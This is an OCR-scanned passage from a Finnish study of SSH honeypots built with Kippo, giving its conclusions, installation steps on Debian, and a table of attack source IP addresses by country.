denndkoisesti tdllaisilla haittaohjelmilla saastutetut laitteet tulisivat toimimaan
osallisina palvelunestohyokkéayksissa.

osalta haettua geoPlugin-palvelun avulla. Ndiden tilastointi tuotti seuraavan
mielenkiintoisen havainnon: valtaosa hyokkayksistd tuli Yhdysvalloista ja Kii-
nasta. Lisdksi suurin osa haittaohjelmista ladattiin Yhdysvalloissa sijaitsevilta
palvelimilta.

Haitallisen liikenteen maard, kdytetyt sanakirjat ja hyokkdysten ldhteet
kertovat summittaisesti, mistd ja millaisilla ohjelmistoilla hyokéttiin, mutta ta-
mé avasi my0s uusia kysymyksid. Varsinaisesti ei voida péadtelld, millaista tek-
nologiaa hyokkayksiin kdytetddn - onko kysymyksessd saastutetut kotitietoko-
neet vai kyseiseen tarkoitukseen perustetut palvelimet. Myoskddn haittaohjel-
mien tarkemmalle analysoinnille ei ollut aikaa, joten ei vield saatu selvitettyd,
miten kyseiset ohjelmat toimisivat ajan kanssa. Niitd ei voida pddstdd vapaasti
lilkkennoéimddn internetiin, joten niitd tdytyy tutkia rajoitetussa hiekkalaatikko-
ympdristossd. My0s staattinen koodianalyysi voisi mahdollistaa ohjelmien toi-
minnan selvittamisen - mahdollisesti se voisi paljastaa myos ohjelman tekijan
lahteet ja tarkoitusperiit.

Hunajapurkit ovat oikein asennettuina ja hallittuina erittdin tehokas tapa
tutkia haitallista verkkoliikennettd. Kyberturvallisuusalan tapahtumissa on va-
laytelty ajatusta laajemmasta kansainvélisestd yhteistyostd, joka oikein ohjattu-
na mahdollistaisi laajemman tietoturvatutkimuksen hunajapurkki- ja IDS-
jarjestelmien verkoston avulla. Yhteen sijaintiin perustetun hunajapurkin avulla
saadaan tietoa kyseiseen IP-osoitteeseen kohdistetuista hyokkayksistd, mutta
sen perusteella ei voida pddtelld, miten laajalle kyseinen hyokkays on kohdistet-
tu, ja toteuttaako esimerkiksi jokin muu taho samaa verkkohyokkadystd. Kippo
tunnetaan alalla kansainvilisesti ja on erinomainen tietoturvatutkimuksen tyo-
kalu.

Tutkimus antaa hyvin pohjaa jatkotutkimusaiheille, joita olisivat ainakin
haittaohjelmien analysointi, mahdollisen maantieteellisesti hajautetun hunaja-
purkkiverkoston perustaminen ja liikenteen vertailu ja analysointi ndiden valil-
la. Lisdksi mielenkiintoinen kysymys olisi, miten palvelimen nidkyvyys ja omi-
naisuudet vaikuttavat haitalliseen verkkoliikenteeseen - millainen vaikutus oli-
si esimerkiksi palvelimeen asetetulla www-sivustolla? Entd, jos palvelimena
olisi Windows Server?
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LIITE 1 KIPON ASENNUSVAIHEET

Kaydaan lavitse Kipon asennusvaiheet valmiiksi asennettuun Debian 6 “squee-
ze” -kdyttojdrjestelmadn.

1.

Maédritetdan SSH-palvelin kuuntelemaan porttia xxx oikeita SSH-
yhteyksid varten.
e /etc/ssh/sshd_config — Port xxx
e # service ssh restart
Asennetaan tarvittavat Python-kirjastot
e # apt-get install build-essential python-dev libmysqlclient-
dev python-virtualenv python-pip python-twisted python-
pyasnl python-mysqldb
Asennetaan kayttojarjestelmdan LAMP-ymparistd (Apache, MySQL
ja PHP)
e # apt-get install mysql-server mysql-client
e # apt-get install apache2 apache2-doc
e # apt-get install php5 php5-mysql libapache2-mod-php5 li-
bapache2-mod-python
Luodaan kayttdjatili “kippo” ja ladataan Kipon asennuspaketti
e # adduser kippo
e #su - kippo
o $wget
https:/ / github.com/ desaster/kippo/archive/master.zip
Asennetaan authbind, jotta Kippo voi kuunnella porttia 22 normaa-
lilla kayttajatililld ajettaessa
e # apt-get install authbind
e # touch /etc/authbind/byport/22
e # chown kippo:kippo /etc/authbind/byport/22
e # chmod 777 /etc/authbind/byport/22
Puretaan Kippo ja asennetaan puuttuvat Python-kirjastot
e $ unzip master.zip
e $cd kippo-master/
e $chmod +x env/bin/activate
e $virtualenv env
e $../env/bin/activate
e (env)$ pip install MySQL-python
e (env)$ deactivate
Luodaan kippo.cfg mallitiedoston mukaan ja tehddan tarvittavat
asetukset
e $cp kippo.cfg.dist kippo.cfg
e $nano kippo.cfg
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ssh_port = 22

kippo.cfg — hostname = devshell01
[database_mysql]

host = localhost

database = kippo

username = kippo

password = xxx
port = 3306

8. Luodaan MySQL-tietokanta, méadritetddan kayttdjd ja luodaan tieto-
kantarakenne dokumentaatiossa olevan sql-tiedoston mukaisesti

$ mysql -u root -p

mysql> CREATE DATABASE kippo;

mysql> CREATE USER 'kippo'@'localhost' IDENTIFIED BY
'"xxx';

mysql> GRANT ALL ON kippo.* TO 'kippo'@'localhost';
mysql> quit

$ mysql -u kippo -pxxx kippo < /home/kippo/kippo-
master/doc/sql/mysql.sql

9. Muutetaan start.sh-tiedostoa siten, ettd otetaan authbind kayttoon

$ nano start.sh
e authbind twistd -y kippo.tac -1 log/kippo.log --pidfile
kippo.pid

10. Kdynnistetddn Kippo taustalle

./ start.sh
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LIITE 2 YHTEYDENOTTOJEN LAHTEET

TAULUKKO 17 Yksittdisten IP-osoitteiden lukumaarat maittain, molemmat hunajapurkit

Maa Lukumaiiri Osuus kaikista IP-osoitteista
China 161 21,30%
United States 158 20,90%
Vietnam 54 7,14%
Ukraine 34 4,50%
Germany 30 3,97 %
Russian Federation 30 3,97 %
France 25 3,31%
Netherlands 25 3,31%
Korea, Republic of 22 2,91%
Brazil 18 2,38%
Thailand 14 1,85%
United Kingdom 13 1,72%
India 12 1,59%
Italy 12 1,59%
Singapore 12 1,59%
Canada 10 1,32%
Switzerland 10 1,32%
Hong Kong 8 1,06%
Romania 8 1,06%
Turkey 7 0,93%
Chile 5 0,66%
Iran, Islamic Republic of 5 0,66%
Lithuania 5 0,66%
Ecuador 4 0,53%
Finland 4 0,53%
Poland 4 0,53%
South Africa 4 0,53%
Sweden 4 0,53%
Taiwan 4 0,53%
Spain 3 0,40%
United Arab Emirates 3 0,40%
Australia 2 0,26%
Bahrain 2 0,26%
Czech Republic 2 0,26%
Denmark 2 0,26%
Gibraltar 2 0,26%
Indonesia 2 0,26%
Japan 2 0,26%
Malaysia 2 0,26%
Mongolia 2 0,26%
Pakistan 2 0,26%

(jatkuu)
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Taulukko 17 (jatkuu)

Portugal 2 0,26%
Serbia 2 0,26%
Albania 1 0,13%
Bangladesh 1 0,13%
Belarus 1 0,13%
Belgium 1 0,13%
Bolivia 1 0,13%
Bulgaria 1 0,13%
Colombia 1 0,13%
Croatia 1 0,13%
Egypt 1 0,13%
Georgia 1 0,13%
Haiti 1 0,13%
Hungary 1 0,13%
Jakarta 1 0,13%
Kazakhstan 1 0,13%
Macedonia 1 0,13%
Mexico 1 0,13%
Nigeria 1 0,13%
Norway 1 0,13%
Panama 1 0,13%
Philippines 1 0,13%
Saudi Arabia 1 0,13%
Sri Lanka 1 0,13%
Uganda 1 0,13%
Venezuela 1 0,13%



